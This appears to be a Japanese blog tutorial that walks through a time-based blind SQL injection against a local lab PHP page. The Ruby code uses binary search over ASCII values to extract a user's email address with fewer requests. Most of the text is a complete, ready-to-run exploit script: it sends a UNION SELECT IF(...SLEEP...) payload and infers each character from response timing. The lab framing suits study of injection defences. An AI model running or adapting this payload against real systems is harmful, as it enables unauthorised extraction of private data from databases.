Time-based SQLインジェクションをRubyで(二分探索バージョン)

  • Blind SQLインジェクションは1文字を確定させるためのリクエスト回数が多い
  • 二分探索でASCIIコードの範囲を絞り込む、ということをする
  • MySQLのSLEEP(n)は該当するレコードが複数存在すると、その1件毎にスリープしてしまうので時間の比較がしづらい
  • 従って、WHERE user = "xx"のようにカラムの一部が判明しており、レコードを1件に絞り込める場合にコードを書きやすくなる
  • 結果として送信するリクエストの回数はかなり減らすことができた
  • ヒアドキュメントが便利だと思った
  • サーバー側でInvalid queryエラーとなっても、処理的にはSLEEP()しなかったのか、エラーなのか判別しづらいのでもともと注入するSQLに間違いがあると気づきにくい

まずはリクエストせずに二分探索のみを疑似的に行ってみます。

# 特定したい文字列
s = "taro@example.com"

# ASCIIコードの範囲
r = 33..122
ra = r.to_a

# リクエスト回数(疑似的)をカウントする
counter = 0

ret = []
for i in 0..s.length

  # 探索範囲を初期化
  min = ra.min
  max = ra.max
  mid = min + (max - min) / 2

  # 文字が存在すればASCIIコードを取得(検証用)
  if s[i].nil?
    break
  else
    code = s[i].ord
  end

  # 文字が特定されるまで探索範囲を絞り込む
  while min != max
    counter += 1
    if code >= min && code <= mid
      max = mid
    else
      min = mid + 1
    end
    mid = min + (max - min) / 2
  end

  ret.push min.chr

end

# 探索結果を表示
puts "result: #{ret.join}"    # "taro@example.com"
puts "counter: #{counter}"    # 104

# 1文字当たりのリクエスト回数(疑似的)
puts "count per char: #{counter.to_f / s.length}"    # 6.5

結果としては、16文字のメールアドレスを104回、1文字当たり6.5回の
リクエストで済むことが分かりました。

二分探索を用いない場合、1文字を特定するのにASCIIコード(10進)の33~122の90文字
→平均でも45回のリクエストが必要になるとすると、
その差は結構大きいです(6.5 / 45 = 14.444..、86%減)。

以下が完成(実際にリクエストを送信する)版となります。

require "uri"
require "net/http"
require "benchmark"


# リクエストを送信する&探索範囲(ASCIIコード)を更新
def req(uri, min, mid, max, pos, sleep_sec, debug=false)
  if debug
    puts "start: %s" % [min, max].inspect
  end

  # POSTパラメータをセット
  params = {
    user: <<-SQL
    \" UNION SELECT IF(
      (
        ORD(SUBSTRING(email, #{pos}, 1)) >= #{min}
        AND
        ORD(SUBSTRING(email, #{pos}, 1)) <= #{mid}
      ),
      SLEEP(#{sleep_sec}),
      0
    ), 2, 3 FROM bin WHERE user = "taro"; -- 
    SQL
  }
  uri.query = URI.encode_www_form(params)

  # レスポンスが返るまでの時間を計測する
  elapsed = Benchmark.realtime do
    Net::HTTP.start(uri.host, uri.port) do |http|
      res = http.get uri
    end
  end
  if debug
    puts "elapsed: #{elapsed}"
  end

  # 探索範囲を更新
  if elapsed >= sleep_sec
    max = mid
  else
    min = mid + 1
  end
  mid = min + (max - min) / 2

  [min, mid, max]
end


# 対象のURL
url = "http://localhost:4002/blind_time/b.php"
uri = URI.parse url

# ASCIIコードの範囲
r = 33..122
ra = r.to_a

# 条件成立時のスリープ秒数
sleep_sec = 2

# 予想文字数
n = 20

# デバッグ用
debug = true

bases = []
n.times.with_index do |_n, i|
  
  # 探索範囲
  min = ra.min
  max = ra.max
  mid = min + (max - min) / 2

  # 文字が特定されるまで探索範囲を絞り込む
  while min != max
    min, mid, max = req(uri, min, mid, max, i + 1, 
      sleep_sec, debug)
    if debug
      puts "Got: %s" % [min, mid, max].inspect
      puts "-" * 20
    end
  end
  bases.push(min.chr)

end

puts "result: %s" % bases.join

This method can reduce number of requests by 86%.
(この方法で86%のリクエストを減らせる)